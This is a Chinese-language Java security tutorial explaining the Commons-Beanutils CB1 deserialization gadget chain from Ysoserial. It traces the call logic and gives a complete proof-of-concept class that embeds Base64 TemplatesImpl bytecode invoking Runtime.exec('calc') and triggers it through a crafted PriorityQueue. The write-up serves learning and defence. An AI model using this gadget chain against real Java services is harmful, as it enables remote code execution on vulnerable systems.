本文为JAVA安全系列文章第十九篇,学习Ysoserial中的CB1链,重点在于认识javaBean并理解掌握CB1链的调用逻辑。
0x01 Apache Commons Beanutils
一、什么是javaBean?
我们在刚开始学JAVA SE基础时候,每当我们写一个类时,属性一般是private,通过public的getXXX方法(getter)来获取属性的值(读方法),setXXX方法(setter)为属性赋值(写方法),这样的类就称为Bean。
官方定义是:必须具有无参数的构造器,所有的属性都是private的,通过提供setter和getter方法来实现对成员属性的访问。
详细的可以参考这篇文章:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
二、 Commons Beanutils
Apache Commons Beanutils是 Apache Commons 工具集下的另一个项目,是一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
通过Maven仓库我们知道,Commons Beanutils除了1.9.4版本外,其他版本均为漏洞版本:
关于commons-beanutils的使用主要是熟悉commons-beanutils库里面MethodUtils、ConstructorUtils、PropertyUtils、BeanUtils、ConvertUtils的使用。
具体使用可以参考这篇文章:https://www.jianshu.com/p/27c0ea663d83
0x02 Ysoserial CB1链
一、环境准备
看Ysoserial的源码,可以知道CB1链用到的依赖是commons-beanutils=1.9.2,我们新建一个Maven项目,将其导入。导入完成后,我们可以看到除了commons-beanutils包外还有commons-collections 3.2.1和commons-logging 1.1.1两个包,也即commons-beanutils本身是依赖于这两个包的:
二、调用逻辑分析
1.PropertyUtils.getProperty()
commons-beanutils中的PropertyUtils类提供了一个静态方法getProperty ,让使用者可以直接调用任意JavaBean的getter方法。比如,我们写一个Person类:
再写一个测试类BeanTest,运行:
可以看到,准确输出了name和age。这是怎么做到的呢?
通过调试发现,该方法的调用过程是这样的:PropertyUtils#getProperty()-->PropertyUtilsBean#getProperty()-->PropertyUtilsBean#getNestedProperty()-->PropertyUtilsBean#getSimpleProperty()
其中,在PropertyUtilsBean#getNestedProperty()中:
会先通过while循环获取嵌套属性,比如a对象中有属性b,b对象中有属性c,就可以通过 PropertyUtils.getProperty(a, "b.c") 的方式进行递归获取。由于此处我们我们传入的属性不是嵌套的,且为自己写的Person,故而进入到getSimpleProperty():
由于此处bean不为DynaBean,故而通过getPropertyDescriptor()方法获取属性描述:
此处获取到age的读写方法名,最后获取到读方法(getter)的方法对象,通过反射调用并返回值:
简而言之,PropertyUtils.getProperty()这个方法就是通过反射调用任意对象的getter,获得对应属性的值,此处的属性可以是嵌套的。
那么,此处调用任意对象的getter方法,会有什么危害么?
2.getter妙用
前面在学习动态字节码加载时,我们提到过Templates加载任意字节码的调用链:
TemplatesImpl.TransletClassLoader#defineClass()<--TemplatesImpl#defineTransletClasses()<--TemplatesImpl#getTransletInstance()<--TemplatesImpl#newTransformer()<--TemplatesImpl.getOutputProperties()
此处的getOutputProperties()不正符合getter的定义么?
如果我们在PropertyUtils#getProperty(Object bean,String name)方法中传入bean为TemplatesImpl对象,name为outputProperties,这不就可以构成一条Gadget 的后半段了么?那么我们就要去找,谁可以调用到PropertyUtils#getProperty():
仅找到commons-beanutils包中的四个类,其中仅BeanComparator实现了Serializable接口!!!
3.BeanComparator
我们来看下这个类:
它实现了java.util.Comparator接口,用来比较两个javaBean是否相等。它的compare()方法传入两个对象,若property 为空,则直接比较这两个对象;若property 不为空,则通过PropertyUtils.getProperty()分别获取这两个对象的property 属性,比较属性的值。
很明显我们只要传入o1,o2为我们构造的TemplatesImpl对象,property为"outputProperties"就能触发代码了。
4.反序列化入口?
还记得在CC2和CC4链的反序列化入口PriorityQueue(优先队列)么?
它是基于二叉堆实现,在它反序列化时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。那么我们只要构造一个BeanComparator传进去,就可以触发代码,弹计算器了。
三、POC编写
首先,我们还是先构造一个恶意TemplatesImpl对象,再创建一个BeanComparator对象,创建时使用无参构造器,防止后面PriorityQueue在add时触发PropertyUtils.getProperty():
BeanComparator comparator = new BeanComparator();
实例化PriorityQueue,将刚才创建的BeanComparator对象传入进去,先add两个人畜无害的对象:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
再通过反射修改comparator中的property为"outputProperties",queue中的两个对象为构造的TemplatesImpl对象:
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
完整代码如下:
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入property为空,防止add时触发PropertyUtils.getProperty()
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
相比于ysoserial里的CommonsBeanutils1链:
这里去掉了对 java.math.BigInteger的使用,因为ysoserial为了兼容 property=lowestSetBit :
public class BigInteger extends Number implements Comparable<BigInteger> {
private int lowestSetBit;
public int getLowestSetBit() {
@SuppressWarnings("deprecation")
int lsb = lowestSetBit - 2;
...
return lsb;
}
}
但实际上我们将 property 设置为null即可。
0x03 总结
一、CB1链调用逻辑
1.PriorityQueue(优先队列)基于二叉堆实现,在它反序列化时,为了保证队列顺序,会执行 java.util.Comparator 接口的 compare() 方法进行重排序,此时我们传入Comparator为org.apache.commons.beanutils.BeanComparator.BeanComparator;
2.BeanComparator是一个比较两个javaBean对象的Comparator,它的compare()方法中若property 不为空,则通过org.apache.commons.beanutils.PropertyUtils.getProperty()分别获取两个对象的property 属性,再比较属性的值;
3.PropertyUtils.getProperty()就是通过反射调用任意对象的getter,而当这个对象为一个包含恶意字节码的TemplatesImpl对象,且调用的getter方法为getOutputProperties()时,就会触发代码执行。
二、关于PropertyUtils
细心的读者会发现PropertyUtils这个关键的类是不可序列化,但为什么不影响反序列化执行代码呢?因为序列化针对的是对象,而CB1链中我们并不需要一个PropertyUtils对象来触发呀,只是调用其静态方法getProperty(),我们要做的只是构造好优先队列中的Comparator(BeanComparator)以及进行比较的两个恶意TemplatesImpl对象即可。
Ysoserial中的CB链仅有CB1这一条,但我们通常会在Shiro的利用工具中,看到好几条CB链,其他CB链又是怎么回事呢?
欲知后事如何,且听下回分解~
参考:
p神《JAVA安全漫谈》
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
第17篇:JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链